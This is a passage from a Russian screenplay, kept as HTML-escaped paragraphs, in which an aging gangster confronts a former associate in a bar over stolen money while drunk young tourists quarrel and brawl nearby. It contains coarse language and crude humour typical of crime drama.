  &lt;p id=&quot;GZBJ&quot;&gt;            Давай мы туда доберемся, а там бухай сколько влезет.&lt;/p&gt;
  &lt;p id=&quot;JsRx&quot;&gt;            Твой город епт.&lt;/p&gt;
  &lt;p id=&quot;0Ofs&quot;&gt;            Там и оставим. &lt;/p&gt;
  &lt;p id=&quot;9grL&quot;&gt;            Как проспишься — вернешься.&lt;/p&gt;
  &lt;p id=&quot;c6w6&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;7YvQ&quot;&gt;(примирительно)&lt;/p&gt;
  &lt;p id=&quot;XgN3&quot;&gt;             Да какой он мой?  &lt;/p&gt;
  &lt;p id=&quot;MrSu&quot;&gt;             У меня там бабушка жила, умерла давно.&lt;/p&gt;
  &lt;p id=&quot;0DT9&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;61zy&quot;&gt;              Ниче. Бухло, бабу и койку всегда найдешь.&lt;/p&gt;
  &lt;p id=&quot;v73M&quot;&gt;              Ты ж матрос.&lt;/p&gt;
  &lt;p id=&quot;g5hh&quot;&gt;Тут в интеллектуальную дискуссию влезает Павел.&lt;/p&gt;
  &lt;p id=&quot;RE9S&quot; data-align=&quot;center&quot;&gt;ПАВЕЛ&lt;/p&gt;
  &lt;p id=&quot;PvgF&quot;&gt;(смотря на часы)&lt;/p&gt;
  &lt;p id=&quot;EJHd&quot;&gt;             Ребят, у нас еще два часа до автобуса, давайте просто посидим. &lt;/p&gt;
  &lt;p id=&quot;QBoK&quot;&gt;             Не шляться же по городу просто так.&lt;/p&gt;
  &lt;p id=&quot;pnkb&quot;&gt;Компания рассаживается за столиком. Артура с Михаилом они не замечают.&lt;/p&gt;
  &lt;h2 id=&quot;d57C&quot;&gt;9. ИНТ. БАР. СТОЛИК АРТУРА И МИХАИЛА.&lt;/h2&gt;
  &lt;p id=&quot;Xrea&quot;&gt;Наши герои сидят прямо, с напряжением и долго молча смотрят друг на друга. Где-то на фоне, со стороны компании молодежи слышны приглушенные звуки веселья, гогот и взрывы смеха. &lt;/p&gt;
  &lt;p id=&quot;Ra1Q&quot;&gt;Наконец Михаил не выдерживает и отводит взгляд. &lt;/p&gt;
  &lt;p id=&quot;rmDI&quot;&gt;Смотрит на кофе перед Артуром.&lt;/p&gt;
  &lt;p id=&quot;GZxo&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;ctRa&quot;&gt;             Надо мне тоже чего-нибудь заказать..&lt;/p&gt;
  &lt;p id=&quot;EalC&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;YNWD&quot;&gt;(издевательски)&lt;/p&gt;
  &lt;p id=&quot;kSmz&quot;&gt;             Ты сюда пожрать пришел?&lt;/p&gt;
  &lt;p id=&quot;0AK0&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;mzrf&quot;&gt;(примирительно)&lt;/p&gt;
  &lt;p id=&quot;yLuY&quot;&gt;             Да-да, я понял. &lt;/p&gt;
  &lt;p id=&quot;aNUu&quot;&gt;             Можешь не продолжать. &lt;/p&gt;
  &lt;p id=&quot;pqmt&quot;&gt;             Тоже рад тебя видеть.  &lt;/p&gt;
  &lt;p id=&quot;rh9N&quot;&gt;(окидывает взглядом)&lt;/p&gt;
  &lt;p id=&quot;C8VN&quot;&gt;              Смотрю форму держишь..&lt;/p&gt;
  &lt;p id=&quot;wrkc&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;4egE&quot;&gt;(кивая)&lt;/p&gt;
  &lt;p id=&quot;z0Hy&quot;&gt;            Угу.&lt;/p&gt;
  &lt;p id=&quot;o2Gn&quot;&gt;             Теперь еще про семью спроси. &lt;/p&gt;
  &lt;p id=&quot;nfPN&quot;&gt;             Про жену и детей. &lt;/p&gt;
  &lt;p id=&quot;urtc&quot;&gt;             Играй до конца приличного человека.&lt;/p&gt;
  &lt;p id=&quot;vw3Y&quot;&gt;(оценив явно дорогой костюм Михаила)&lt;/p&gt;
  &lt;p id=&quot;ImDf&quot;&gt;             Смотрю дела идут хорошо.&lt;/p&gt;
  &lt;p id=&quot;21TZ&quot;&gt;(смотря в глаза Михаилу)&lt;/p&gt;
  &lt;p id=&quot;ml8p&quot;&gt;             Вернее шли. &lt;/p&gt;
  &lt;p id=&quot;ycIK&quot;&gt;             Или ты к нам типа на экскурсию заглянул?&lt;/p&gt;
  &lt;p id=&quot;mBRc&quot;&gt;             Пройтись по местам боевой славы и трудовых подвигов.&lt;/p&gt;
  &lt;p id=&quot;ygEB&quot;&gt;             Так чтоли?&lt;/p&gt;
  &lt;p id=&quot;GNyL&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;OwXd&quot;&gt;(морщась, разводя руками)&lt;/p&gt;
  &lt;p id=&quot;Zlm2&quot;&gt;             Обстоятельства изменились.  &lt;/p&gt;
  &lt;p id=&quot;pHkR&quot;&gt;             Разные внешние факторы.&lt;/p&gt;
  &lt;p id=&quot;Mwhq&quot;&gt;             Санкции-санации..&lt;/p&gt;
  &lt;p id=&quot;lsqK&quot;&gt;(на фоне слышен взрыв хохота от компании молодежи)&lt;/p&gt;
  &lt;p id=&quot;mKkv&quot;&gt;             Пришлось свернуть бизнес.&lt;/p&gt;
  &lt;p id=&quot;TuY3&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;Uq4B&quot;&gt;(ухмыляясь, со стебом)&lt;/p&gt;
  &lt;p id=&quot;hI5T&quot;&gt;             Ути-пути бедненький!  &lt;/p&gt;
  &lt;p id=&quot;48M0&quot;&gt;             Злые европейцы обидели честного российского бизнесмена!&lt;/p&gt;
  &lt;p id=&quot;ONCi&quot;&gt;             Никогда такого не было.             &lt;/p&gt;
  &lt;p id=&quot;WeG9&quot;&gt;(пауза)&lt;/p&gt;
  &lt;p id=&quot;7Vvp&quot;&gt;             И ты решил вернуться. &lt;/p&gt;
  &lt;p id=&quot;uEFt&quot;&gt;             После всего.&lt;/p&gt;
  &lt;p id=&quot;MIFz&quot;&gt;             И теперь сидишь тут, весь такой красивый и успешный.&lt;/p&gt;
  &lt;p id=&quot;idfh&quot;&gt;             Дай догадаюсь: ТЫ думал, что девяностые прошли, мы постарели, успокоились и все изменилось.&lt;/p&gt;
  &lt;p id=&quot;WjJN&quot;&gt;             Теперь все сыты и довольны, никто больше не стреляет.&lt;/p&gt;
  &lt;p id=&quot;3WoL&quot;&gt;             И все плохое теперь стоит забыть и простить за давностью лет. &lt;/p&gt;
  &lt;p id=&quot;mEj5&quot;&gt;             Взяться за ручки и обняться.&lt;/p&gt;
  &lt;p id=&quot;2K7h&quot;&gt;             Ничего не упустил?&lt;/p&gt;
  &lt;p id=&quot;OlOh&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;MdtL&quot;&gt;(смущенно)&lt;/p&gt;
  &lt;p id=&quot;THEF&quot;&gt;             Но ведь все действительно изменилось. &lt;/p&gt;
  &lt;p id=&quot;z1fw&quot;&gt;             Посмотри вокруг! Столько новых, красивых зданий. Новые лица, новые люди! Кругом прогресс и развитие!&lt;/p&gt;
  &lt;p id=&quot;GKoP&quot;&gt;(камера показывает столик с малолетними дегенератами, ржущими над очередной тупой шуткой)&lt;/p&gt;
  &lt;p id=&quot;YaPh&quot;&gt;             Я изменился, стал другим человеком. &lt;/p&gt;
  &lt;p id=&quot;SWYI&quot;&gt;             Построил успешный бизнес. &lt;/p&gt;
  &lt;p id=&quot;FW7W&quot;&gt;(тыкая себе в грудь)&lt;/p&gt;
  &lt;p id=&quot;6zBO&quot;&gt;             Сам! Своим умом, своим трудом и стараниями.&lt;/p&gt;
  &lt;p id=&quot;ZFzq&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;NSNN&quot;&gt;(усмехаясь)&lt;/p&gt;
  &lt;p id=&quot;5brB&quot;&gt;             Бабе своей расскажи, чтоб крепче любила.&lt;/p&gt;
  &lt;p id=&quot;8vm5&quot;&gt;             Мне не надо.&lt;/p&gt;
  &lt;p id=&quot;6SOA&quot;&gt;             У меня вагины нет, поэтому думаю другим местом.&lt;/p&gt;
  &lt;p id=&quot;9Lzk&quot;&gt;(смотря внимательно)&lt;/p&gt;
  &lt;p id=&quot;IjGB&quot;&gt;             И память тоже пока не подводит, прикинь. &lt;/p&gt;
  &lt;p id=&quot;LdOJ&quot;&gt;             Деньги помню. И сейф шефа.&lt;/p&gt;
  &lt;p id=&quot;Rfmj&quot;&gt;             А потом денег не стало. &lt;/p&gt;
  &lt;p id=&quot;WZIu&quot;&gt;             Вместе с тобой.&lt;/p&gt;
  &lt;p id=&quot;e90c&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;yL2O&quot;&gt;(медленно, с серьезным выражением лица)&lt;/p&gt;
  &lt;p id=&quot;aaMt&quot;&gt;             Ты меня в чем-то обвиняешь?  &lt;/p&gt;
  &lt;p id=&quot;fyTt&quot;&gt;             Я правильно услышал?&lt;/p&gt;
  &lt;p id=&quot;dQcl&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;LTv6&quot;&gt;(издевательски)&lt;/p&gt;
  &lt;p id=&quot;bO1h&quot;&gt;             Ну что вы, Михаил Борисович. &lt;/p&gt;
  &lt;p id=&quot;u0vW&quot;&gt;             Как так можно. &lt;/p&gt;
  &lt;p id=&quot;dLZj&quot;&gt;             Вы же теперь серьезный человек, бизнесмен. &lt;/p&gt;
  &lt;p id=&quot;ZXyN&quot;&gt;             А спешно переехали в другую страну просто так, в поисках нового опыта и вдохновения.&lt;/p&gt;
  &lt;p id=&quot;y5Mz&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;pZtE&quot;&gt;(наваливаясь на стол и приблизив лицо, грозно тыкая пальцем)&lt;/p&gt;
  &lt;p id=&quot;WhcX&quot;&gt;              Слыш ты!&lt;/p&gt;
  &lt;p id=&quot;aMTv&quot;&gt;              Я вообще мог сюда не приходить. Эта встреча лишь дань уважения организации. &lt;/p&gt;
  &lt;p id=&quot;BRbj&quot;&gt;             Не более того.&lt;/p&gt;
  &lt;p id=&quot;aZDQ&quot;&gt;             Времена изменились, (пауза, Михаил раскидывает руки в стороны) — &lt;strong&gt;все&lt;/strong&gt; изменилось.&lt;/p&gt;
  &lt;p id=&quot;k0QI&quot;&gt;(тыкая в Артура пальцем)&lt;/p&gt;
  &lt;p id=&quot;Dk0z&quot;&gt;             У вас больше нет власти!&lt;/p&gt;
  &lt;p id=&quot;01Rx&quot;&gt;             Никакой.&lt;/p&gt;
  &lt;p id=&quot;0cGk&quot;&gt;             Вас никто не боится. &lt;/p&gt;
  &lt;p id=&quot;iRX7&quot;&gt;             Никто не уважает.&lt;/p&gt;
  &lt;p id=&quot;pL8d&quot;&gt;             Ты просто старый алкаш, шеф — жалкий инвалид в кресле-каталке.&lt;/p&gt;
  &lt;p id=&quot;vDJS&quot;&gt;             Прошло ваше время.&lt;/p&gt;
  &lt;p id=&quot;BvAC&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;P2E3&quot;&gt;(смотря пустым взглядом как будто насквозь)&lt;/p&gt;
  &lt;p id=&quot;p0pC&quot;&gt;             Все сказал?&lt;/p&gt;
  &lt;p id=&quot;0EpF&quot;&gt;(камера уезжает под стол, показывается палец на курке автомата)&lt;/p&gt;
  &lt;h2 id=&quot;j9XU&quot;&gt;10. ИНТ. СТОЛИК МОЛОДОЙ КОМПАНИИ.&lt;/h2&gt;
  &lt;p id=&quot;QEyJ&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Mve5&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;C6Mk&quot;&gt;             Блииин ребята.. я в таком восторге! &lt;/p&gt;
  &lt;p id=&quot;ucqG&quot;&gt;(чуть подпрыгивает от восторга)&lt;/p&gt;
  &lt;p id=&quot;jdHb&quot;&gt;             Чудесное место! &lt;/p&gt;
  &lt;p id=&quot;66HM&quot;&gt;             Пашааа я тебя люблю! &lt;/p&gt;
  &lt;p id=&quot;iORA&quot;&gt;(начинают обниматься с Павлом)&lt;/p&gt;
  &lt;p id=&quot;ojDF&quot;&gt;             Спасибо что нашел это место, мой милый.&lt;/p&gt;
  &lt;p id=&quot;VdnD&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;m1yX&quot;&gt;             Да все в курсе  что ты тащишься от всякого старья. &lt;/p&gt;
  &lt;p id=&quot;kODD&quot;&gt;(указывает пальцем на замызганные столики)&lt;/p&gt;
  &lt;p id=&quot;UjZC&quot;&gt;             Но это уже перебор.&lt;/p&gt;
  &lt;p id=&quot;72C8&quot;&gt;             Макс давай свалим?&lt;/p&gt;
  &lt;p id=&quot;WCAp&quot;&gt;             Это ну совсем дно..&lt;/p&gt;
  &lt;p id=&quot;bBXG&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;fa0C&quot;&gt;(смотрит меню со все возрастающим изумлением)&lt;/p&gt;
  &lt;p id=&quot;qCVb&quot;&gt;             Пипееец... &lt;/p&gt;
  &lt;p id=&quot;7BGu&quot;&gt;             Ну это просто нечто! &lt;/p&gt;
  &lt;p id=&quot;8sPj&quot;&gt;             Ребят у них тут сто двадцать сортов водки!&lt;/p&gt;
  &lt;p id=&quot;Tn78&quot;&gt;             Даже самогон есть!&lt;/p&gt;
  &lt;p id=&quot;bxgP&quot;&gt;(начинает подпрыгивать от радости)&lt;/p&gt;
  &lt;p id=&quot;H9Qk&quot;&gt;             Я в раю! В раю! В раюююю!&lt;/p&gt;
  &lt;p id=&quot;obqY&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;MTCk&quot;&gt;(явно впечатлившись ассортиментом)&lt;/p&gt;
  &lt;p id=&quot;jB34&quot;&gt;             Ээ.. Алиночка дорогая..&lt;/p&gt;
  &lt;p id=&quot;Zhda&quot;&gt;             Мнение большинства..&lt;/p&gt;
  &lt;p id=&quot;tjcp&quot;&gt;             Ну ты понимаешь.&lt;/p&gt;
  &lt;p id=&quot;ockN&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;3oym&quot;&gt;(поднимает снизу ладонями свои объемные груди, эротичным голосом)&lt;/p&gt;
  &lt;p id=&quot;KhNY&quot;&gt;             Максииик.. &lt;/p&gt;
  &lt;p id=&quot;cXRs&quot;&gt;             Зайка..&lt;/p&gt;
  &lt;p id=&quot;ZWAw&quot;&gt;             Ты же хочешь этого да?&lt;/p&gt;
  &lt;p id=&quot;ZZ3H&quot;&gt;             Хочешь чтобы я тебе еще раз дала?&lt;/p&gt;
  &lt;p id=&quot;2lnA&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;uVCE&quot;&gt;11. ИНТ. СТОЛИК АРТУРА И МИХАИЛА.&lt;/h2&gt;
  &lt;p id=&quot;G073&quot;&gt;Продолжается непростой, напряженный диалог.&lt;/p&gt;
  &lt;p id=&quot;lbDP&quot;&gt;Михаил поняв что наговорил лишнего, тем нее менее пытается переубедить бывшего коллегу и перетянуть на свою сторону.&lt;/p&gt;
  &lt;p id=&quot;A1W3&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;7qyh&quot;&gt;             Ну и что тебе дал этот «Шеф», а? &lt;/p&gt;
  &lt;p id=&quot;vEGf&quot;&gt;             Что?            &lt;/p&gt;
  &lt;p id=&quot;IK83&quot;&gt;(тут очевидный переход из прошлой сцены с Алиной, который дает юморной эффект)&lt;/p&gt;
  &lt;p id=&quot;joMH&quot;&gt;             Давай работать вместе. &lt;/p&gt;
  &lt;p id=&quot;wUWD&quot;&gt;             За мной — бизнес, деньги. &lt;/p&gt;
  &lt;p id=&quot;k7yw&quot;&gt;             Власть в конце концов. &lt;/p&gt;
  &lt;p id=&quot;wS5g&quot;&gt;             Все будет.&lt;/p&gt;
  &lt;p id=&quot;x1RS&quot;&gt;             Мир изменился, нынче совсем другие времена. &lt;/p&gt;
  &lt;p id=&quot;hfmr&quot;&gt;Михаил протягивает свою красивую визитку. Артур подносит к глазам и с интересом зачитывает.&lt;/p&gt;
  &lt;p id=&quot;GOMj&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;Zbnn&quot;&gt;(со стебом)&lt;/p&gt;
  &lt;p id=&quot;dz9q&quot;&gt;            СЕНЬОР ВАЙС ПРЕЗИДЕНТЕ!&lt;/p&gt;
  &lt;p id=&quot;Cbyl&quot;&gt;            ФАЛЬКО ИН-ВЕСТЭ-МЕНТЭС.. ЭЛЬ-ТЭ-ДЭ.&lt;/p&gt;
  &lt;p id=&quot;aWJf&quot;&gt;Убирает визитку Михаила в карман.&lt;/p&gt;
  &lt;p id=&quot;qGex&quot;&gt;             Сеньор значит.&lt;/p&gt;
  &lt;p id=&quot;aoAZ&quot;&gt;             Ну хоть не сеньорита.             &lt;/p&gt;
  &lt;p id=&quot;xgod&quot;&gt;             Вижу растешь.&lt;/p&gt;
  &lt;p id=&quot;sEnX&quot;&gt;             Впечатлен.&lt;/p&gt;
  &lt;p id=&quot;wrgh&quot;&gt;(задумчиво)&lt;/p&gt;
  &lt;p id=&quot;QYcm&quot;&gt;            Но ты прав, да. &lt;/p&gt;
  &lt;p id=&quot;nJFc&quot;&gt;            Все действительно сильно изменилось. &lt;/p&gt;
  &lt;p id=&quot;CTqI&quot;&gt;            Кадык теперь приходится проверять у девушек, прежде чем в койку тащить..&lt;/p&gt;
  &lt;p id=&quot;itra&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;FffG&quot;&gt;(приободрившись, но не въехав в шутку)&lt;/p&gt;
  &lt;p id=&quot;wNRR&quot;&gt;Ну вот видишь! &lt;/p&gt;
  &lt;p id=&quot;fH2j&quot;&gt;Ты же разумный человек, Артур. &lt;/p&gt;
  &lt;p id=&quot;WVyg&quot;&gt;Всегда хорошо соображал.&lt;/p&gt;
  &lt;p id=&quot;gmCt&quot;&gt;Да и годы уже дают о себе знать, пора остепеняться. &lt;/p&gt;
  &lt;p id=&quot;wqyn&quot;&gt;(достает бумажник, из него вытаскивает семейную фотографию жены и детей)&lt;/p&gt;
  &lt;p id=&quot;31fQ&quot;&gt;Аннушка моя ненаглядная, сердце мое. &lt;/p&gt;
  &lt;p id=&quot;gbwF&quot;&gt;Вся моя жизнь в ней и детях.&lt;/p&gt;
  &lt;p id=&quot;SE00&quot;&gt;Так бы и спился где-нибудь в подворотне, если бы не она.&lt;/p&gt;
  &lt;p id=&quot;ZbrA&quot;&gt;(задумчиво)&lt;/p&gt;
  &lt;p id=&quot;7S2D&quot;&gt;Весь смысл жизни только в детях и есть, если подумать. Ничего другого и не..&lt;/p&gt;
  &lt;p id=&quot;5ryx&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;ixJg&quot;&gt;(равнодушно взглянув на фото, тихо)             &lt;/p&gt;
  &lt;p id=&quot;dXjW&quot;&gt;            Помнишь Петровича? &lt;/p&gt;
  &lt;p id=&quot;m0MJ&quot;&gt;Михаил осекается.&lt;/p&gt;
  &lt;p id=&quot;BzTx&quot;&gt;             Помнишь значит. &lt;/p&gt;
  &lt;p id=&quot;Bvn9&quot;&gt;             По глазам вижу.&lt;/p&gt;
  &lt;p id=&quot;N7M9&quot;&gt;             У него тоже была жена и дети.&lt;/p&gt;
  &lt;p id=&quot;EB5y&quot;&gt;             И код от сейфа. &lt;/p&gt;
  &lt;p id=&quot;ufvF&quot;&gt;Михаил отворачивается, смотрит в сторону, ему неприятно все это вспоминать.&lt;/p&gt;
  &lt;p id=&quot;KNG8&quot;&gt;             Вот только ума не хватило сбежать, прихватив жену и детей.&lt;/p&gt;
  &lt;p id=&quot;mJby&quot;&gt;             Так что ты там рассказывал про светлое будущее?&lt;/p&gt;
  &lt;p id=&quot;CtIK&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;ra2u&quot;&gt;Камера уезжает от столика, дальше речь мы не слышим.&lt;/p&gt;
  &lt;p id=&quot;Tn6y&quot;&gt;Михаил начинает рассказывать предложение, Артур слушает с невозмутимым выражением лица.&lt;/p&gt;
  &lt;h2 id=&quot;4ZWU&quot;&gt;12. ИНТ. СТОЛИК МОЛОДЕЖИ&lt;/h2&gt;
  &lt;p id=&quot;Doiy&quot;&gt;Все расселись, сделали заказ и сидят за столом, забитым местными явствами. Алине не удалось с помощью женской магии заставить Макса покинуть заведение.&lt;/p&gt;
  &lt;p id=&quot;1hHt&quot;&gt;С чего она сильно огорчена.&lt;/p&gt;
  &lt;p id=&quot;3odo&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;vAYj&quot;&gt;(успев принять 50 грамм на грудь, с чего заметно порозовела)&lt;/p&gt;
  &lt;p id=&quot;dB1i&quot;&gt;             Вот же кобелина..&lt;/p&gt;
  &lt;p id=&quot;2Teu&quot;&gt;             Все вы мужики однаковые!&lt;/p&gt;
  &lt;p id=&quot;ayRv&quot;&gt;             Лишь бы нажраться.&lt;/p&gt;
  &lt;p id=&quot;Ox6b&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;JsYd&quot;&gt;(тоже успев принять первую стопку, громко)&lt;/p&gt;
  &lt;p id=&quot;L26m&quot;&gt;             Да успокойся ты!&lt;/p&gt;
  &lt;p id=&quot;ocae&quot;&gt;             Задрала своими претензиями!&lt;/p&gt;
  &lt;p id=&quot;YOJt&quot;&gt;             Все ей не так!&lt;/p&gt;
  &lt;p id=&quot;3R4p&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;H0qh&quot;&gt;(зверея)&lt;/p&gt;
  &lt;p id=&quot;PnT0&quot;&gt;             Да ты ваще лох и чмо!&lt;/p&gt;
  &lt;p id=&quot;xKUy&quot;&gt;             Зассал татуху на лице бить!&lt;/p&gt;
  &lt;p id=&quot;gO1K&quot;&gt;             Нах ты такой кому нужен, когда на свете есть Элджей?&lt;/p&gt;
  &lt;p id=&quot;HCyY&quot;&gt;(немного подумав)&lt;/p&gt;
  &lt;p id=&quot;cqI2&quot;&gt;             И ваще! &lt;/p&gt;
  &lt;p id=&quot;5CFU&quot;&gt;             Член у тебя маленький.&lt;/p&gt;
  &lt;p id=&quot;nlBl&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;KU4H&quot;&gt;(кидаются друг на друга с кулаками)&lt;/p&gt;
  &lt;p id=&quot;BTfV&quot;&gt;             Уью суку!&lt;/p&gt;
  &lt;p id=&quot;tRTh&quot;&gt;Остальные ребята начинают их разнимать. Драться современные дети не умеют, поэтому все выглядит больше как переполох в борделе.&lt;/p&gt;
  &lt;p id=&quot;BZuW&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;LhkR&quot;&gt;13. ИНТ. СТОЛИК АРТУРА И МИХАИЛА&lt;/h2&gt;
  &lt;p id=&quot;zcwN&quot;&gt;Михаил закончил с предложением, Артур сидит в задумчивости, переваривая услышанное.&lt;/p&gt;
  &lt;p id=&quot;meVU&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;kKG3&quot;&gt;            Какое интересное предложение.&lt;/p&gt;
  &lt;p id=&quot;sZZK&quot;&gt;            Прям не ожидал.&lt;/p&gt;
  &lt;p id=&quot;MXml&quot;&gt;            Вижу ты действительно стал другим человеком.&lt;/p&gt;
  &lt;p id=&quot;ISqz&quot;&gt;            Кто бы мог подумать.&lt;/p&gt;
  &lt;p id=&quot;m1zN&quot;&gt;(проницательно)&lt;/p&gt;
  &lt;p id=&quot;0mOz&quot;&gt;             Женщины.. &lt;/p&gt;
  &lt;p id=&quot;DMUl&quot;&gt;             Они всегда все меняют.&lt;/p&gt;
  &lt;p id=&quot;FtLS&quot;&gt;             Ладно, отойду покурить..&lt;/p&gt;
  &lt;p id=&quot;DV8Z&quot;&gt;              А ты посиди, отдохни. Только не буянь.&lt;/p&gt;
  &lt;p id=&quot;zj0n&quot;&gt;(смотрит осуждающе)&lt;/p&gt;
  &lt;p id=&quot;yFxK&quot;&gt;             Ну ты понял.&lt;/p&gt;
  &lt;p id=&quot;CTdY&quot;&gt;             Времена уже не те. &lt;/p&gt;
  &lt;p id=&quot;kXug&quot;&gt;             Не так поймут.&lt;/p&gt;
  &lt;p id=&quot;xJrG&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;wYeC&quot;&gt;             За кого ты меня принимаешь? &lt;/p&gt;
  &lt;p id=&quot;xigP&quot;&gt;             Я серьезный бизнесмен.&lt;/p&gt;
  &lt;p id=&quot;buKn&quot;&gt;Артур ухмыляясь поднимается, хлопает Михаила по плечу и идет на выход.&lt;/p&gt;
  &lt;p id=&quot;ZnwR&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;caUa&quot;&gt;14. ИНТ. СТОЛИК ТУРИСТОВ&lt;/h2&gt;
  &lt;p id=&quot;4SpS&quot;&gt;Макса с Алиной растащили по разным сторонам, Лиза успокаивает Алину, Петр с Павлом — Макса.&lt;/p&gt;
  &lt;p id=&quot;bI6u&quot;&gt;Атмосфера напряженная и голубки вот вот снова полезут в драку. Продолжают переругиваться.&lt;/p&gt;
  &lt;p id=&quot;GCrQ&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;bFNV&quot;&gt;             Нахера я только согласилась с вами ехать.&lt;/p&gt;
  &lt;p id=&quot;Qhbf&quot;&gt;(замечает сломаный ноготь, подносит палец к глазам, ноготь вот-вот оторвется)&lt;/p&gt;
  &lt;p id=&quot;roV1&quot;&gt;             Видишь что ты наделал!&lt;/p&gt;
  &lt;p id=&quot;8Xk2&quot;&gt;             Мудак!&lt;/p&gt;
  &lt;p id=&quot;mu3N&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;rJlY&quot;&gt;             Рот закрой, овца крашеная!&lt;/p&gt;
  &lt;p id=&quot;qgY2&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;tRKu&quot;&gt;             Это я-то крашеная?&lt;/p&gt;
  &lt;p id=&quot;Gbx1&quot;&gt;             Ты же сам хаер свой красишь, мудила!&lt;/p&gt;
  &lt;p id=&quot;KKQV&quot;&gt;             Еще каталог ему просил купить. С красками и гелями.&lt;/p&gt;
  &lt;p id=&quot;swmn&quot;&gt;             Как баба!&lt;/p&gt;
  &lt;p id=&quot;LkqL&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;twKb&quot;&gt;(пытается ударить, Павел с Петром удерживают)&lt;/p&gt;
  &lt;p id=&quot;RFdQ&quot;&gt;             Заткнись, тварь тупая!&lt;/p&gt;
  &lt;p id=&quot;FC13&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;c4Fa&quot;&gt;(примиряюще)&lt;/p&gt;
  &lt;p id=&quot;OX1Q&quot;&gt;             Ребята ну не надо так. &lt;/p&gt;
  &lt;p id=&quot;6vkY&quot;&gt;             У нас отпуск, каникулы а вы мальчики все портите. &lt;/p&gt;
  &lt;p id=&quot;W8kH&quot;&gt;             Дома разберетесь.&lt;/p&gt;
  &lt;p id=&quot;Crqe&quot;&gt;(замечает Артура, который с интересом слушает перепалку)&lt;/p&gt;
  &lt;p id=&quot;EIbF&quot;&gt;             Вы окружающих пугаете. &lt;/p&gt;
  &lt;p id=&quot;Frhd&quot;&gt;Все головы поворачиваются к Артуру. На какое-то время все замолкают.&lt;/p&gt;
  &lt;p id=&quot;uwz9&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;cqzW&quot;&gt;(с агрессией)&lt;/p&gt;
  &lt;p id=&quot;bPIO&quot;&gt;             Тебе че надо дед?&lt;/p&gt;
  &lt;p id=&quot;I9tM&quot;&gt;             Пшел отсюдова! &lt;/p&gt;
  &lt;p id=&quot;badL&quot;&gt;             Пока ноги ходят.&lt;/p&gt;
  &lt;p id=&quot;6HOK&quot;&gt;Артур ничего не отвечает и какое-то время просто стоит на месте. Затем улыбнувшись, проходит мимо столика к выходу.&lt;/p&gt;
  &lt;p id=&quot;WUYv&quot;&gt;Это разряжает обстановку за столом, ребята успокаиваются.&lt;/p&gt;
  &lt;p id=&quot;Hdxb&quot; data-align=&quot;center&quot;&gt;ПАВЕЛ&lt;/p&gt;
  &lt;p id=&quot;nKJb&quot;&gt;             Макс блин, так же нельзя!&lt;/p&gt;
  &lt;p id=&quot;uEsL&quot;&gt;             Это старый, пожилой человек.&lt;/p&gt;
  &lt;p id=&quot;3U1T&quot;&gt;             Да и что он тебе сделал-то?&lt;/p&gt;
  &lt;p id=&quot;6dzH&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;huEZ&quot;&gt;(грозно)&lt;/p&gt;
  &lt;p id=&quot;Sz0S&quot;&gt;             Если бы сделал — я б его ваще прибил на месте!&lt;/p&gt;
  &lt;p id=&quot;Azk4&quot;&gt;             Калич старый..&lt;/p&gt;
